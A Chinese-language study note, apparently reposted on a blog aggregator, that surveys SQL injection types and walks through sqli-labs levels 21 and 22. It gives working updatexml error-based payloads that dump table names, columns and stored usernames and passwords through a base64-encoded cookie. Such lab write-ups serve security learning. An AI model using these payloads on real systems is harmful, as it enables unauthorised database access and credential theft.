SQL注入1

 对sql进行一个小结

 还有其他的注入

其他注入:堆叠注入,宽字节注入,二次注入

首先是数值和字符

id=1 and 1=1和id=1 and 1=2 如果这两个语句返回的页面不一样就说明是数字型

id=1' and 1=1#和id=1' and 1=2#  如果这两个语句返回的页面不一样就说明是字符型

常见的字符组合

1'    1"  1')   1")    1)

id=1%' and 1=1#和id=1%' and 1=2#  如果这两个页面返回的结果不一样就说明是搜索型

GET注入:使用get请求提交数据,比如 xxx.php?id=1.

POST注入:使用post请求提交数据,比如表单,包含在数据报文里。

Cookie注入:使用Cookie的某个字段提交数据,比如在Cookie中保存用户信息。

HTTP Header注入:使用请求头提交数据,比如检测HTTP中的源地址、主机IP等

 get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。

cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。

条件

1.程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤

2.还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数,也可以是cookie里面的参数,之后的原理就像我们的sql注入一样了。

cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句

设置cookie值,打开相关网址后,清空地址栏输入以下语句,就能设置cookie字段为id,值为284,设置完后,重新打开新网址,新网址是以设置的cookie值重新访问网站的。

javascript:alert(document.cookie="id="+escape("284"))
  document.cookie:表示当前浏览器中的cookie变量

alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。

escape():该函数用于对字符串进行编码

less21

看看源码

   if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', base64_encode($row1['username']), time()+3600);	echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >';			//echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error());			echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";header ('Location: index.php');}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";			echo "</br>";echo '<img src="../images/slap.jpg" />';	echo "</font>";  }}

 提交的uname和passwd进行了严格的检验,

检验函数如下

//检验函数
   function check_input($value)
   {
       if(!empty($value))
       {
           $value = substr($value,0,20); // truncation (see comments)
       }
       if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled
       {
           $value = stripslashes($value);
       }
       if (!ctype_digit($value))       // Quote if not a number
       {
           $value = "'" . mysql_real_escape_string($value) . "'";
       }
       else
       {
           $value = intval($value);
       }
       return $value;
   }

$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

根据这条语句可以在cookie处进行注入

但是要注意base64编码

setcookie('uname', base64_encode($row1['username']), time()+3600);

 进入到数据库查询的时候,会对cookie的值进行解码,语句如下

$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

 将cookie字段替换为payload

Dumb') and updatexml(1,concat(0x7e,database(),0x7e),1)#(此处经过base64编码,如果结果有等号还要进行url编码)

测试之后就会发现是字符型的注入,单引号加上右括号

以下的语句需要进行base64编码

爆security的表名:
Dumb') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&submit=Submit
 
爆users的列名:
Dumb') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&submit=Submit
 
爆数据:
Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&submit=Submit
 
Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)&submit=Submit
 

 第22关

只是闭合方式不一样,采用的是双引号的

显注:前端页面可以回显用户信息,比如 联合注入、报错注入。

盲注:前端页面不能回显用户信息,比如 布尔盲注、时间注入

联合注入

1、寻找注入点
2、判断闭合方式
3、判断列数
order by
4、联合查询,查看回显位置
union select 1,2,3,4
5、查看数据库名、版本等相关信息
6、得到所有数据库名
7、得到指定数据的所有列表
8、得到指定表的列名
9、得到想要的数据

常见的闭合方式

数字类型(无闭合)

单引号 ’

双引号 ”

括号 )

组合方式 ‘) ") ')) "))

注释符

--+      #

报错注入常用的函数

extractvalue()    使用XPath表示法从XML字符串中提取值
updatexml()       改变文档中符合XML片段的值
extractvalue(xml对象文档的内容,路径)
updatexml(xml对象文档的内容,路径,要修改的新内容)

 一个是提取,一个是修改

报错符号

一般书写在路径位置为特殊符号,即可使得出现报错,
0x7e(~)

报错原理

 路径出现特殊符号得时候,就会报错
然后利用concat把符号和sql命令语句拼接到一块,就可以执行报错注入

eg

extractvalue(1,0x7e);

 堆叠注入形成原理

 就是在执行sql语句的时候,运用的multi函数,此函数可以执行多条sql语句,攻击者闭合第一个参数,然后用;号可以执行输入的语句,因此造成堆叠注入

函数

mysql_multi_query

 利用

先闭合前面的数据,用;进行闭合,然后再后面输入自己要执行的sql语句,随后注释后面的数据

 二次注入

攻击者第一次输入的时候,后端代码对攻击者输入的参数进行了转义,但是在传入到数据库的时候的时候,没有进行转义,当攻击者再次读取到数据的时候,没有对数据库的字符进行转义,因此导致形成闭合

在注册当中,把用户名注册为和数据库人员一样的名字,在名字后面添加闭合字符,因此插入到数据库当中,再次修改用户密码的时候,就可以形成闭合,修改目标账户的密码
也可以在名字添加闭合字符后面增加or 1语句,再次执行的时候,就是修改全表中用户的密码

也就是先加上字符,然后再加上or 1

宽字节注入

当客户端发送到服务端的时候运用一种编码,服务端发送到数据库的时候又运用了一种编码,返回到客户端的时候运用了一种编码

这里就已经运用了三种编码


php后台的编码与数据库的编码不一致,或者经过一些编码函数(如iconv) 进行转换处理,导致可以使用宽字节,绕过转义字符,完成闭合,导致sql注入

编码格式

指Unicode编码,存储方式采用UTF-16。因为只有2字节和4字节两种情况,故用wchar_t,占两个字节。

当后台程序对于传入的数据的数据进行了转义时,需要运用到闭合的时候

上面只是一部分比较常见的,后面的还需要进一步去了解。

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/148205.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Promise12数据集】Promise12数据集介绍和预处理

【Segment Anything Model】做分割的专栏链接&#xff0c;欢迎来学习。 【博主微信】cvxiayixiao 本专栏为公开数据集的介绍和预处理&#xff0c;持续更新中。 要是只想把Promise12数据集的raw形式分割为png形式&#xff0c;快速导航&#xff0c;直接看2&#xff0c;4标题即可 …

【精选】项目管理工具——Maven详解

Maven简介 Maven是一个项目管理工具。它可以帮助程序员构建工程&#xff0c;管理jar包&#xff0c;编译代码&#xff0c;完成测试&#xff0c;项目打包等等。 Maven工具是基于POM&#xff08;Project Object Model&#xff0c;项目对象模型&#xff09;实现的。在Maven的管理下…

Spring Framework 6.1 正式 GA

Spring Framework 6.1在运行时方面针对 JDK 21 和 Jakarta EE 10 上提供了一级支持&#xff0c;同时保留了 JDK 17 和 Jakarta EE 9 基线。Spring 还通过精细的元数据推理跟踪 GraalVM for JDK 21 的演变&#xff0c;同时暂时保持与 GraalVM 22.3 的兼容性。 主要变化 支持 JD…

Unity在Windows选项下没有Auto Streaming

Unity在Windows选项下没有Auto Streaming Unity Auto Streaming插件按网上说的不太好使最终解决方案 Unity Auto Streaming插件 我用的版本是个人版免费版&#xff0c;版本号是&#xff1a;2021.2.5f1c1&#xff0c;我的里边Windows下看不到Auto Streaming选项,就像下边这张图…

Python-pptx教程之二操作已有PPT模板文件

文章目录 简单的案例找到要修改的元素修改幻灯片中的文本代码使用示例 修改幻灯片的图片代码使用示例 删除幻灯片代码使用示例 获取PPT中所有的文本内容获取PPT中所有的图片总结 在上一篇中我们已经学会了如何从零开始生成PPT文件&#xff0c;从零开始生成较为复杂的PPT是非常消…

Jmeter——循环控制器中实现Counter计数器的次数重置

近期在使用Jmeter编写个辅助测试的脚本&#xff0c;用到了多个Loop Controller和Counter。 当时想的思路就是三个可变的数量值&#xff0c;使用循环实现&#xff1b;但第三个可变值的数量次数&#xff0c;是基于第二次循环中得到的结果才能确认最终次数&#xff0c;每次的结果…

爱奇艺大数据离在线混部

混部作为一种提高资源利用率、降低成本的的方案&#xff0c;被业界普遍认可。爱奇艺在云原生化与降本增效的过程中&#xff0c;成功将大数据离线计算、音视频内容处理等工作负载与在线业务进行了混部&#xff0c;并且取得了阶段性收益。本文重点以大数据为例&#xff0c;介绍从…

HDFS、MapReduce原理--学习笔记

1.Hadoop框架 1.1框架与Hadoop架构简介 &#xff08;1&#xff09;广义解释 从广义上来说&#xff0c;随着大数据开发技术的快速发展与逐步成熟&#xff0c;在行业里&#xff0c;Hadoop可以泛指为&#xff1a;Hadoop生态圈。 也就是说&#xff0c;Hadoop指的是大数据生态圈整…

多线程(初阶)

文章目录 一、认识线程&#xff08;Thread&#xff09;1.1 概念1.1.1 什么是线程1.1.2 为什么要有线程1.1.3 进程和线程的区别&#xff08;重要&#xff09;1.1.4 Java的线程和操作系统线程的关系 1.2 第一个多线程 程序1.3 创建线程&#xff08;重要&#xff09;1.3.1 继承 Tr…

iframe渲染后端接口文件和实现下载功能

一&#xff1a;什么是iframe&#xff1f; 1、介绍 iframe 是HTML 中的一种标签&#xff0c;全称为 Inline Frame&#xff0c;即内联框架。它可以在网页中嵌入其他页面或文档&#xff0c;将其他页面的内容以框架的形式展示在当前页面中。iframe的使用方式是通过在HTML文档中插入…

Linux_安装docker

安装包管理工具yum-utils&#xff0c;并设置docker储存库&#xff08;如果已有&#xff0c;不用安装&#xff09; # 安装包管理工具 sudo yum install -y yum-utils # 安装docker储存库 sudo yum-config-manager \--add-repo \http://mirrors.aliyun.com/docker-ce/linux/cen…

react之基于@reduxjs/toolkit使用react-redux

react之基于reduxjs/toolkit使用react-redux 一、配置基础环境二、使用React Toolkit 创建 counterStore三、为React注入store四、React组件使用store中的数据五、实现效果六、提交action传递参数七、异步状态操作 一、配置基础环境 1.使用cra快速创建一个react项目 npx crea…

python图

有向图&#xff1a;图中的每条边都有方向的图叫有向图。此时&#xff0c;边的两个顶点有次序关系&#xff0c;有向边 < u,v>成为从顶点u到顶点v的一条弧&#xff0c;u成为弧尾&#xff08;始点&#xff09;&#xff0c;v成为弧头&#xff08;终点&#xff09;&#xff0c…

我叫:选择排序【JAVA】

1.我是个啥子&#xff1f;&#xff1f; 选择式排序&#xff1a;属于内部排序法,从欲排序的数据中,按指定的规则选出某一元素&#xff0c;再依规定交换位置后达到排序的目的。 2.我的思想 基本思想:第一次从arr[0]~arr[n-1]中选取最小值&#xff0c;与arr[0]交换&#xff0c;第…

【C++】类和对象(7)--友元, static成员

目录 一 友元 1 友元概念 2 友元函数 3 友元类 二 static成员 1 概念 2 用法 3 static成员特性 4 例题 一 友元 1 友元概念 友元提供了一种突破封装的方式&#xff0c;有时提供了便利。但是友元会增加耦合度&#xff0c;破坏了封装&#xff0c;所以 友元不宜多用。 …

2023年高压电工证考试题库及高压电工试题解析

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2023年高压电工证考试题库及高压电工试题解析是安全生产模拟考试一点通结合&#xff08;安监局&#xff09;特种作业人员操作证考试大纲和&#xff08;质检局&#xff09;特种设备作业人员上岗证考试大纲随机出的高压…

【碰碰球】弹珠游戏-微信小程序项目开发流程详解

还记得小时候玩过的弹珠撞击游戏不&#xff0c;这里把它的实现原理通俗易懂地讲一下&#xff0c;看看怎样实现一个碰碰球(弹珠)小游戏&#xff0c;除了个人玩法&#xff0c;也可以双人玩哦&#xff0c;与打乒乓球一样的&#xff0c;可练习临场反应。 创建项目 打开微信开发者…

前端面试:如何实现并发请求数量控制?

题目&#xff1a;实现一个并发请求函数concurrencyRequest(urls, maxNum) 要求如下&#xff1a; 要求最大并发数 maxNum;每当有一个请求返回&#xff0c;就留下一个空位&#xff0c;可以增加新的请求;所有请求完成后&#xff0c;结果按照 urls 里面的顺序依次打出&#xff1b;…

DE算法简介

文章目录 前言一、DE是什么&#xff1f;二、DE流程2.1 初始化种群2.2 变异&#xff08;差分操作&#xff09;2.3 交叉2.4 选择2.5 重复迭代 三、DE运行结果 前言 这两天看了DE算法&#xff0c;简单说下自己的认识 一、DE是什么&#xff1f; 百科定义&#xff1a;差分进化算…

Vue+ElementUI技巧分享:自定义表单项label的文字提示

文章目录 概要在表单项label后添加文字提示1. 使用 Slot 自定义 Label2. 添加问号图标与提示信息 slot的作用详解1. 基本用法2. 具名插槽 显示多行文字提示的方法1. 问题背景2. 实现多行内容显示3. 样式优化 结语 概要 在Vue和ElementUI的丰富组件库中&#xff0c;定制化表单是…